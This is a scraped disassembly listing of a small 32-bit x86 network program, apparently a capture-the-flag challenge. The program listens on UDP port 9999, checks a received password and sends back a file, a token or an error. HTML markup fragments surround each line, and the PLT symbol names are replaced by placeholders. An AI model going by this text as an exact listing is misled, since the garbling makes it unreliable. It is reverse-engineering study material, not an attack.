[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80486b0: ff 25 30 91 04 08 jmp DWORD PTR ds:0x8049130/span/span
span class="code-line"span class="x" 80486b6: 68 48 00 00 00 push 0x48/span/span
span class="code-line"span class="x" 80486bb: e9 50 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"080486c0/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80486c0: ff 25 34 91 04 08 jmp DWORD PTR ds:0x8049134/span/span
span class="code-line"span class="x" 80486c6: 68 50 00 00 00 push 0x50/span/span
span class="code-line"span class="x" 80486cb: e9 40 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"080486d0/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80486d0: ff 25 38 91 04 08 jmp DWORD PTR ds:0x8049138/span/span
span class="code-line"span class="x" 80486d6: 68 58 00 00 00 push 0x58/span/span
span class="code-line"span class="x" 80486db: e9 30 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"080486e0/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80486e0: ff 25 3c 91 04 08 jmp DWORD PTR ds:0x804913c/span/span
span class="code-line"span class="x" 80486e6: 68 60 00 00 00 push 0x60/span/span
span class="code-line"span class="x" 80486eb: e9 20 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"080486f0/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80486f0: ff 25 40 91 04 08 jmp DWORD PTR ds:0x8049140/span/span
span class="code-line"span class="x" 80486f6: 68 68 00 00 00 push 0x68/span/span
span class="code-line"span class="x" 80486fb: e9 10 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048700/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048700: ff 25 44 91 04 08 jmp DWORD PTR ds:0x8049144/span/span
span class="code-line"span class="x" 8048706: 68 70 00 00 00 push 0x70/span/span
span class="code-line"span class="x" 804870b: e9 00 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048710/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048710: ff 25 48 91 04 08 jmp DWORD PTR ds:0x8049148/span/span
span class="code-line"span class="x" 8048716: 68 78 00 00 00 push 0x78/span/span
span class="code-line"span class="x" 804871b: e9 f0 fe ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048720/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048720: ff 25 4c 91 04 08 jmp DWORD PTR ds:0x804914c/span/span
span class="code-line"span class="x" 8048726: 68 80 00 00 00 push 0x80/span/span
span class="code-line"span class="x" 804872b: e9 e0 fe ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048730/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048730: ff 25 50 91 04 08 jmp DWORD PTR ds:0x8049150/span/span
span class="code-line"span class="x" 8048736: 68 88 00 00 00 push 0x88/span/span
span class="code-line"span class="x" 804873b: e9 d0 fe ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048740/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048740: ff 25 54 91 04 08 jmp DWORD PTR ds:0x8049154/span/span
span class="code-line"span class="x" 8048746: 68 90 00 00 00 push 0x90/span/span
span class="code-line"span class="x" 804874b: e9 c0 fe ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048750/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048750: ff 25 58 91 04 08 jmp DWORD PTR ds:0x8049158/span/span
span class="code-line"span class="x" 8048756: 68 98 00 00 00 push 0x98/span/span
span class="code-line"span class="x" 804875b: e9 b0 fe ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048760/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048760: ff 25 5c 91 04 08 jmp DWORD PTR ds:0x804915c/span/span
span class="code-line"span class="x" 8048766: 68 a0 00 00 00 push 0xa0/span/span
span class="code-line"span class="x" 804876b: e9 a0 fe ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048770/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048770: ff 25 60 91 04 08 jmp DWORD PTR ds:0x8049160/span/span
span class="code-line"span class="x" 8048776: 68 a8 00 00 00 push 0xa8/span/span
span class="code-line"span class="x" 804877b: e9 90 fe ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"Disassembly of section span class="nl".text/spanspan class="p":/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048780/span span class="p"lt;/spanspan class="nf"_start/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048780: 31 ed xor ebp,ebp/span/span
span class="code-line"span class="x" 8048782: 5e pop esi/span/span
span class="code-line"span class="x" 8048783: 89 e1 mov ecx,esp/span/span
span class="code-line"span class="x" 8048785: 83 e4 f0 and esp,0xfffffff0/span/span
span class="code-line"span class="x" 8048788: 50 push eax/span/span
span class="code-line"span class="x" 8048789: 54 push esp/span/span
span class="code-line"span class="x" 804878a: 52 push edx/span/span
span class="code-line"span class="x" 804878b: 68 00 8d 04 08 push 0x8048d00/span/span
span class="code-line"span class="x" 8048790: 68 10 8d 04 08 push 0x8048d10/span/span
span class="code-line"span class="x" 8048795: 51 push ecx/span/span
span class="code-line"span class="x" 8048796: 56 push esi/span/span
span class="code-line"span class="x" 8048797: 68 6c 88 04 08 push 0x804886c/span/span
span class="code-line"span class="x" 804879c: e8 3f ff ff ff call 80486e0 lt;
[email protected];/span/span
span class="code-line"span class="x" 80487a1: f4 hlt /span/span
span class="code-line"span class="x" 80487a2: 90 nop/span/span
span class="code-line"span class="x" 80487a3: 90 nop/span/span
span class="code-line"span class="x" 80487a4: 90 nop/span/span
span class="code-line"span class="x" 80487a5: 90 nop/span/span
span class="code-line"span class="x" 80487a6: 90 nop/span/span
span class="code-line"span class="x" 80487a7: 90 nop/span/span
span class="code-line"span class="x" 80487a8: 90 nop/span/span
span class="code-line"span class="x" 80487a9: 90 nop/span/span
span class="code-line"span class="x" 80487aa: 90 nop/span/span
span class="code-line"span class="x" 80487ab: 90 nop/span/span
span class="code-line"span class="x" 80487ac: 90 nop/span/span
span class="code-line"span class="x" 80487ad: 90 nop/span/span
span class="code-line"span class="x" 80487ae: 90 nop/span/span
span class="code-line"span class="x" 80487af: 90 nop/span/span
span class="code-line"/span
span class="code-line"span class="mh"080487b0/span span class="p"lt;/spanspan class="nf"deregister_tm_clones/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80487b0: b8 6f 91 04 08 mov eax,0x804916f/span/span
span class="code-line"span class="x" 80487b5: 2d 6c 91 04 08 sub eax,0x804916c/span/span
span class="code-line"span class="x" 80487ba: 83 f8 06 cmp eax,0x6/span/span
span class="code-line"span class="x" 80487bd: 77 02 ja 80487c1 lt;deregister_tm_clones+0x11gt;/span/span
span class="code-line"span class="x" 80487bf: f3 c3 repz ret /span/span
span class="code-line"span class="x" 80487c1: b8 00 00 00 00 mov eax,0x0/span/span
span class="code-line"span class="x" 80487c6: 85 c0 test eax,eax/span/span
span class="code-line"span class="x" 80487c8: 74 f5 je 80487bf lt;deregister_tm_clones+0xfgt;/span/span
span class="code-line"span class="x" 80487ca: 55 push ebp/span/span
span class="code-line"span class="x" 80487cb: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 80487cd: 83 ec 18 sub esp,0x18/span/span
span class="code-line"span class="x" 80487d0: c7 04 24 6c 91 04 08 mov DWORD PTR [esp],0x804916c/span/span
span class="code-line"span class="x" 80487d7: ff d0 call eax/span/span
span class="code-line"span class="x" 80487d9: c9 leave /span/span
span class="code-line"span class="x" 80487da: c3 ret /span/span
span class="code-line"span class="x" 80487db: 90 nop/span/span
span class="code-line"span class="x" 80487dc: 8d 74 26 00 lea esi,[esi+eiz*1+0x0]/span/span
span class="code-line"/span
span class="code-line"span class="mh"080487e0/span span class="p"lt;/spanspan class="nf"register_tm_clones/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80487e0: b8 6c 91 04 08 mov eax,0x804916c/span/span
span class="code-line"span class="x" 80487e5: 2d 6c 91 04 08 sub eax,0x804916c/span/span
span class="code-line"span class="x" 80487ea: c1 f8 02 sar eax,0x2/span/span
span class="code-line"span class="x" 80487ed: 89 c2 mov edx,eax/span/span
span class="code-line"span class="x" 80487ef: c1 ea 1f shr edx,0x1f/span/span
span class="code-line"span class="x" 80487f2: 01 d0 add eax,edx/span/span
span class="code-line"span class="x" 80487f4: d1 f8 sar eax,1/span/span
span class="code-line"span class="x" 80487f6: 75 02 jne 80487fa lt;register_tm_clones+0x1agt;/span/span
span class="code-line"span class="x" 80487f8: f3 c3 repz ret /span/span
span class="code-line"span class="x" 80487fa: ba 00 00 00 00 mov edx,0x0/span/span
span class="code-line"span class="x" 80487ff: 85 d2 test edx,edx/span/span
span class="code-line"span class="x" 8048801: 74 f5 je 80487f8 lt;register_tm_clones+0x18gt;/span/span
span class="code-line"span class="x" 8048803: 55 push ebp/span/span
span class="code-line"span class="x" 8048804: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 8048806: 83 ec 18 sub esp,0x18/span/span
span class="code-line"span class="x" 8048809: 89 44 24 04 mov DWORD PTR [esp+0x4],eax/span/span
span class="code-line"span class="x" 804880d: c7 04 24 6c 91 04 08 mov DWORD PTR [esp],0x804916c/span/span
span class="code-line"span class="x" 8048814: ff d2 call edx/span/span
span class="code-line"span class="x" 8048816: c9 leave /span/span
span class="code-line"span class="x" 8048817: c3 ret /span/span
span class="code-line"span class="x" 8048818: 90 nop/span/span
span class="code-line"span class="x" 8048819: 8d b4 26 00 00 00 00 lea esi,[esi+eiz*1+0x0]/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048820/span span class="p"lt;/spanspan class="nf"__do_global_dtors_aux/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048820: 80 3d 6c 91 04 08 00 cmp BYTE PTR ds:0x804916c,0x0/span/span
span class="code-line"span class="x" 8048827: 75 13 jne 804883c lt;__do_global_dtors_aux+0x1cgt;/span/span
span class="code-line"span class="x" 8048829: 55 push ebp/span/span
span class="code-line"span class="x" 804882a: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 804882c: 83 ec 08 sub esp,0x8/span/span
span class="code-line"span class="x" 804882f: e8 7c ff ff ff call 80487b0 lt;deregister_tm_clonesgt;/span/span
span class="code-line"span class="x" 8048834: c6 05 6c 91 04 08 01 mov BYTE PTR ds:0x804916c,0x1/span/span
span class="code-line"span class="x" 804883b: c9 leave /span/span
span class="code-line"span class="x" 804883c: f3 c3 repz ret /span/span
span class="code-line"span class="x" 804883e: 66 90 xchg ax,ax/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048840/span span class="p"lt;/spanspan class="nf"frame_dummy/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048840: a1 08 90 04 08 mov eax,ds:0x8049008/span/span
span class="code-line"span class="x" 8048845: 85 c0 test eax,eax/span/span
span class="code-line"span class="x" 8048847: 74 1e je 8048867 lt;frame_dummy+0x27gt;/span/span
span class="code-line"span class="x" 8048849: b8 00 00 00 00 mov eax,0x0/span/span
span class="code-line"span class="x" 804884e: 85 c0 test eax,eax/span/span
span class="code-line"span class="x" 8048850: 74 15 je 8048867 lt;frame_dummy+0x27gt;/span/span
span class="code-line"span class="x" 8048852: 55 push ebp/span/span
span class="code-line"span class="x" 8048853: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 8048855: 83 ec 18 sub esp,0x18/span/span
span class="code-line"span class="x" 8048858: c7 04 24 08 90 04 08 mov DWORD PTR [esp],0x8049008/span/span
span class="code-line"span class="x" 804885f: ff d0 call eax/span/span
span class="code-line"span class="x" 8048861: c9 leave /span/span
span class="code-line"span class="x" 8048862: e9 79 ff ff ff jmp 80487e0 lt;register_tm_clonesgt;/span/span
span class="code-line"span class="x" 8048867: e9 74 ff ff ff jmp 80487e0 lt;register_tm_clonesgt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"0804886c/span span class="p"lt;/spanspan class="nf"main/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 804886c: 55 push ebp/span/span
span class="code-line"span class="x" 804886d: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 804886f: 83 e4 f0 and esp,0xfffffff0/span/span
span class="code-line"span class="x" 8048872: 81 ec 40 04 00 00 sub esp,0x440/span/span
span class="code-line"span class="x" 8048878: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0/span/span
span class="code-line"span class="x" 804887f: 00 /span/span
span class="code-line"span class="x" 8048880: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1/span/span
span class="code-line"span class="x" 8048887: 00 /span/span
span class="code-line"span class="x" 8048888: c7 04 24 02 00 00 00 mov DWORD PTR [esp],0x2/span/span
span class="code-line"span class="x" 804888f: e8 cc fe ff ff call 8048760 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048894: 89 84 24 3c 04 00 00 mov DWORD PTR [esp+0x43c],eax/span/span
span class="code-line"span class="x" 804889b: c7 44 24 04 10 00 00 mov DWORD PTR [esp+0x4],0x10/span/span
span class="code-line"span class="x" 80488a2: 00 /span/span
span class="code-line"span class="x" 80488a3: 8d 84 24 20 04 00 00 lea eax,[esp+0x420]/span/span
span class="code-line"span class="x" 80488aa: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 80488ad: e8 8e fd ff ff call 8048640 lt;
[email protected];/span/span
span class="code-line"span class="x" 80488b2: 66 c7 84 24 20 04 00 mov WORD PTR [esp+0x420],0x2/span/span
span class="code-line"span class="x" 80488b9: 00 02 00 /span/span
span class="code-line"span class="x" 80488bc: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0/span/span
span class="code-line"span class="x" 80488c3: e8 68 fe ff ff call 8048730 lt;
[email protected];/span/span
span class="code-line"span class="x" 80488c8: 89 84 24 24 04 00 00 mov DWORD PTR [esp+0x424],eax/span/span
span class="code-line"span class="x" 80488cf: c7 04 24 0f 27 00 00 mov DWORD PTR [esp],0x270f/span/span
span class="code-line"span class="x" 80488d6: e8 a5 fd ff ff call 8048680 lt;
[email protected];/span/span
span class="code-line"span class="x" 80488db: 66 89 84 24 22 04 00 mov WORD PTR [esp+0x422],ax/span/span
span class="code-line"span class="x" 80488e2: 00 /span/span
span class="code-line"span class="x" 80488e3: c7 44 24 08 10 00 00 mov DWORD PTR [esp+0x8],0x10/span/span
span class="code-line"span class="x" 80488ea: 00 /span/span
span class="code-line"span class="x" 80488eb: 8d 84 24 20 04 00 00 lea eax,[esp+0x420]/span/span
span class="code-line"span class="x" 80488f2: 89 44 24 04 mov DWORD PTR [esp+0x4],eax/span/span
span class="code-line"span class="x" 80488f6: 8b 84 24 3c 04 00 00 mov eax,DWORD PTR [esp+0x43c]/span/span
span class="code-line"span class="x" 80488fd: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048900: e8 eb fd ff ff call 80486f0 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048905: 89 84 24 38 04 00 00 mov DWORD PTR [esp+0x438],eax/span/span
span class="code-line"span class="x" 804890c: 83 bc 24 38 04 00 00 cmp DWORD PTR [esp+0x438],0x0/span/span
span class="code-line"span class="x" 8048913: 00 /span/span
span class="code-line"span class="x" 8048914: 74 20 je 8048936 lt;main+0xcagt;/span/span
span class="code-line"span class="x" 8048916: c7 44 24 04 0f 27 00 mov DWORD PTR [esp+0x4],0x270f/span/span
span class="code-line"span class="x" 804891d: 00 /span/span
span class="code-line"span class="x" 804891e: c7 04 24 90 8d 04 08 mov DWORD PTR [esp],0x8048d90/span/span
span class="code-line"span class="x" 8048925: e8 06 fd ff ff call 8048630 lt;
[email protected];/span/span
span class="code-line"span class="x" 804892a: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1/span/span
span class="code-line"span class="x" 8048931: e8 8a fd ff ff call 80486c0 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048936: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400/span/span
span class="code-line"span class="x" 804893d: 00 /span/span
span class="code-line"span class="x" 804893e: 8b 84 24 3c 04 00 00 mov eax,DWORD PTR [esp+0x43c]/span/span
span class="code-line"span class="x" 8048945: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048948: e8 f3 fd ff ff call 8048740 lt;
[email protected];/span/span
span class="code-line"span class="x" 804894d: c7 84 24 0c 04 00 00 mov DWORD PTR [esp+0x40c],0x10/span/span
span class="code-line"span class="x" 8048954: 10 00 00 00 /span/span
span class="code-line"span class="x" 8048958: 8d 84 24 0c 04 00 00 lea eax,[esp+0x40c]/span/span
span class="code-line"span class="x" 804895f: 89 44 24 08 mov DWORD PTR [esp+0x8],eax/span/span
span class="code-line"span class="x" 8048963: 8d 84 24 10 04 00 00 lea eax,[esp+0x410]/span/span
span class="code-line"span class="x" 804896a: 89 44 24 04 mov DWORD PTR [esp+0x4],eax/span/span
span class="code-line"span class="x" 804896e: 8b 84 24 3c 04 00 00 mov eax,DWORD PTR [esp+0x43c]/span/span
span class="code-line"span class="x" 8048975: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048978: e8 13 fd ff ff call 8048690 lt;
[email protected];/span/span
span class="code-line"span class="x" 804897d: 89 84 24 34 04 00 00 mov DWORD PTR [esp+0x434],eax/span/span
span class="code-line"span class="x" 8048984: 8d 84 24 0c 04 00 00 lea eax,[esp+0x40c]/span/span
span class="code-line"span class="x" 804898b: 89 44 24 14 mov DWORD PTR [esp+0x14],eax/span/span
span class="code-line"span class="x" 804898f: 8d 84 24 10 04 00 00 lea eax,[esp+0x410]/span/span
span class="code-line"span class="x" 8048996: 89 44 24 10 mov DWORD PTR [esp+0x10],eax/span/span
span class="code-line"span class="x" 804899a: c7 44 24 0c 00 00 00 mov DWORD PTR [esp+0xc],0x0/span/span
span class="code-line"span class="x" 80489a1: 00 /span/span
span class="code-line"span class="x" 80489a2: c7 44 24 08 e8 03 00 mov DWORD PTR [esp+0x8],0x3e8/span/span
span class="code-line"span class="x" 80489a9: 00 /span/span
span class="code-line"span class="x" 80489aa: 8d 44 24 24 lea eax,[esp+0x24]/span/span
span class="code-line"span class="x" 80489ae: 89 44 24 04 mov DWORD PTR [esp+0x4],eax/span/span
span class="code-line"span class="x" 80489b2: 8b 84 24 34 04 00 00 mov eax,DWORD PTR [esp+0x434]/span/span
span class="code-line"span class="x" 80489b9: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 80489bc: e8 9f fc ff ff call 8048660 lt;
[email protected];/span/span
span class="code-line"span class="x" 80489c1: 89 84 24 30 04 00 00 mov DWORD PTR [esp+0x430],eax/span/span
span class="code-line"span class="x" 80489c8: 8d 54 24 24 lea edx,[esp+0x24]/span/span
span class="code-line"span class="x" 80489cc: 8b 84 24 30 04 00 00 mov eax,DWORD PTR [esp+0x430]/span/span
span class="code-line"span class="x" 80489d3: 01 d0 add eax,edx/span/span
span class="code-line"span class="x" 80489d5: c6 00 00 mov BYTE PTR [eax],0x0/span/span
span class="code-line"span class="x" 80489d8: 8d 44 24 24 lea eax,[esp+0x24]/span/span
span class="code-line"span class="x" 80489dc: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 80489df: e8 a8 02 00 00 call 8048c8c lt;checkpassgt;/span/span
span class="code-line"span class="x" 80489e4: 89 84 24 38 04 00 00 mov DWORD PTR [esp+0x438],eax/span/span
span class="code-line"span class="x" 80489eb: 83 bc 24 38 04 00 00 cmp DWORD PTR [esp+0x438],0x0/span/span
span class="code-line"span class="x" 80489f2: 00 /span/span
span class="code-line"span class="x" 80489f3: 0f 84 8c 00 00 00 je 8048a85 lt;main+0x219gt;/span/span
span class="code-line"span class="x" 80489f9: 83 bc 24 38 04 00 00 cmp DWORD PTR [esp+0x438],0x5/span/span
span class="code-line"span class="x" 8048a00: 05 /span/span
span class="code-line"span class="x" 8048a01: 74 45 je 8048a48 lt;main+0x1dcgt;/span/span
span class="code-line"span class="x" 8048a03: 8d 44 24 24 lea eax,[esp+0x24]/span/span
span class="code-line"span class="x" 8048a07: 89 44 24 14 mov DWORD PTR [esp+0x14],eax/span/span
span class="code-line"span class="x" 8048a0b: 8b 84 24 10 04 00 00 mov eax,DWORD PTR [esp+0x410]/span/span
span class="code-line"span class="x" 8048a12: 89 44 24 04 mov DWORD PTR [esp+0x4],eax/span/span
span class="code-line"span class="x" 8048a16: 8b 84 24 14 04 00 00 mov eax,DWORD PTR [esp+0x414]/span/span
span class="code-line"span class="x" 8048a1d: 89 44 24 08 mov DWORD PTR [esp+0x8],eax/span/span
span class="code-line"span class="x" 8048a21: 8b 84 24 18 04 00 00 mov eax,DWORD PTR [esp+0x418]/span/span
span class="code-line"span class="x" 8048a28: 89 44 24 0c mov DWORD PTR [esp+0xc],eax/span/span
span class="code-line"span class="x" 8048a2c: 8b 84 24 1c 04 00 00 mov eax,DWORD PTR [esp+0x41c]/span/span
span class="code-line"span class="x" 8048a33: 89 44 24 10 mov DWORD PTR [esp+0x10],eax/span/span
span class="code-line"span class="x" 8048a37: 8b 84 24 34 04 00 00 mov eax,DWORD PTR [esp+0x434]/span/span
span class="code-line"span class="x" 8048a3e: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048a41: e8 41 01 00 00 call 8048b87 lt;senderrorgt;/span/span
span class="code-line"span class="x" 8048a46: eb 78 jmp 8048ac0 lt;main+0x254gt;/span/span
span class="code-line"span class="x" 8048a48: 8b 84 24 10 04 00 00 mov eax,DWORD PTR [esp+0x410]/span/span
span class="code-line"span class="x" 8048a4f: 89 44 24 04 mov DWORD PTR [esp+0x4],eax/span/span
span class="code-line"span class="x" 8048a53: 8b 84 24 14 04 00 00 mov eax,DWORD PTR [esp+0x414]/span/span
span class="code-line"span class="x" 8048a5a: 89 44 24 08 mov DWORD PTR [esp+0x8],eax/span/span
span class="code-line"span class="x" 8048a5e: 8b 84 24 18 04 00 00 mov eax,DWORD PTR [esp+0x418]/span/span
span class="code-line"span class="x" 8048a65: 89 44 24 0c mov DWORD PTR [esp+0xc],eax/span/span
span class="code-line"span class="x" 8048a69: 8b 84 24 1c 04 00 00 mov eax,DWORD PTR [esp+0x41c]/span/span
span class="code-line"span class="x" 8048a70: 89 44 24 10 mov DWORD PTR [esp+0x10],eax/span/span
span class="code-line"span class="x" 8048a74: 8b 84 24 34 04 00 00 mov eax,DWORD PTR [esp+0x434]/span/span
span class="code-line"span class="x" 8048a7b: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048a7e: e8 76 01 00 00 call 8048bf9 lt;sendtokengt;/span/span
span class="code-line"span class="x" 8048a83: eb 3b jmp 8048ac0 lt;main+0x254gt;/span/span
span class="code-line"span class="x" 8048a85: 8b 84 24 10 04 00 00 mov eax,DWORD PTR [esp+0x410]/span/span
span class="code-line"span class="x" 8048a8c: 89 44 24 04 mov DWORD PTR [esp+0x4],eax/span/span
span class="code-line"span class="x" 8048a90: 8b 84 24 14 04 00 00 mov eax,DWORD PTR [esp+0x414]/span/span
span class="code-line"span class="x" 8048a97: 89 44 24 08 mov DWORD PTR [esp+0x8],eax/span/span
span class="code-line"span class="x" 8048a9b: 8b 84 24 18 04 00 00 mov eax,DWORD PTR [esp+0x418]/span/span
span class="code-line"span class="x" 8048aa2: 89 44 24 0c mov DWORD PTR [esp+0xc],eax/span/span
span class="code-line"span class="x" 8048aa6: 8b 84 24 1c 04 00 00 mov eax,DWORD PTR [esp+0x41c]/span/span
span class="code-line"span class="x" 8048aad: 89 44 24 10 mov DWORD PTR [esp+0x10],eax/span/span
span class="code-line"span class="x" 8048ab1: 8b 84 24 34 04 00 00 mov eax,DWORD PTR [esp+0x434]/span/span
span class="code-line"span class="x" 8048ab8: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048abb: e8 34 00 00 00 call 8048af4 lt;sendfilegt;/span/span
span class="code-line"span class="x" 8048ac0: c7 04 24 b2 8d 04 08 mov DWORD PTR [esp],0x8048db2/span/span
span class="code-line"span class="x" 8048ac7: e8 d4 fb ff ff call 80486a0 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048acc: 8d 44 24 24 lea eax,[esp+0x24]/span/span
span class="code-line"span class="x" 8048ad0: 89 44 24 04 mov DWORD PTR [esp+0x4],eax/span/span
span class="code-line"span class="x" 8048ad4: c7 04 24 ca 8d 04 08 mov DWORD PTR [esp],0x8048dca/span/span
span class="code-line"span class="x" 8048adb: e8 50 fb ff ff call 8048630 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048ae0: 8b 84 24 34 04 00 00 mov eax,DWORD PTR [esp+0x434]/span/span
span class="code-line"span class="x" 8048ae7: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048aea: e8 81 fc ff ff call 8048770 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048aef: e9 59 fe ff ff jmp 804894d lt;main+0xe1gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048af4/span span class="p"lt;/spanspan class="nf"sendfile/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048af4: 55 push ebp/span/span
span class="code-line"span class="x" 8048af5: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 8048af7: 83 ec 38 sub esp,0x38/span/span
span class="code-line"span class="x" 8048afa: c7 44 24 04 cd 8d 04 mov DWORD PTR [esp+0x4],0x8048dcd/span/span
span class="code-line"span class="x" 8048b01: 08 /span/span
span class="code-line"span class="x" 8048b02: c7 04 24 cf 8d 04 08 mov DWORD PTR [esp],0x8048dcf/span/span
span class="code-line"span class="x" 8048b09: e8 f2 fb ff ff call 8048700 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048b0e: 89 45 f4 mov DWORD PTR [ebp-0xc],eax/span/span
span class="code-line"span class="x" 8048b11: 83 7d f4 00 cmp DWORD PTR [ebp-0xc],0x0/span/span
span class="code-line"span class="x" 8048b15: 74 56 je 8048b6d lt;sendfile+0x79gt;/span/span
span class="code-line"span class="x" 8048b17: eb 31 jmp 8048b4a lt;sendfile+0x56gt;/span/span
span class="code-line"span class="x" 8048b19: c7 44 24 14 10 00 00 mov DWORD PTR [esp+0x14],0x10/span/span
span class="code-line"span class="x" 8048b20: 00 /span/span
span class="code-line"span class="x" 8048b21: 8d 45 0c lea eax,[ebp+0xc]/span/span
span class="code-line"span class="x" 8048b24: 89 44 24 10 mov DWORD PTR [esp+0x10],eax/span/span
span class="code-line"span class="x" 8048b28: c7 44 24 0c 00 00 00 mov DWORD PTR [esp+0xc],0x0/span/span
span class="code-line"span class="x" 8048b2f: 00 /span/span
span class="code-line"span class="x" 8048b30: c7 44 24 08 01 00 00 mov DWORD PTR [esp+0x8],0x1/span/span
span class="code-line"span class="x" 8048b37: 00 /span/span
span class="code-line"span class="x" 8048b38: 8d 45 f0 lea eax,[ebp-0x10]/span/span
span class="code-line"span class="x" 8048b3b: 89 44 24 04 mov DWORD PTR [esp+0x4],eax/span/span
span class="code-line"span class="x" 8048b3f: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]/span/span
span class="code-line"span class="x" 8048b42: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048b45: e8 d6 fb ff ff call 8048720 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048b4a: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]/span/span
span class="code-line"span class="x" 8048b4d: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048b50: e8 1b fb ff ff call 8048670 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048b55: 89 45 f0 mov DWORD PTR [ebp-0x10],eax/span/span
span class="code-line"span class="x" 8048b58: 8b 45 f0 mov eax,DWORD PTR [ebp-0x10]/span/span
span class="code-line"span class="x" 8048b5b: 83 f8 ff cmp eax,0xffffffff/span/span
span class="code-line"span class="x" 8048b5e: 75 b9 jne 8048b19 lt;sendfile+0x25gt;/span/span
span class="code-line"span class="x" 8048b60: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]/span/span
span class="code-line"span class="x" 8048b63: 89 04 24 mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 8048b66: e8 e5 fa ff ff call 8048650 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048b6b: eb 18 jmp 8048b85 lt;sendfile+0x91gt;/span/span
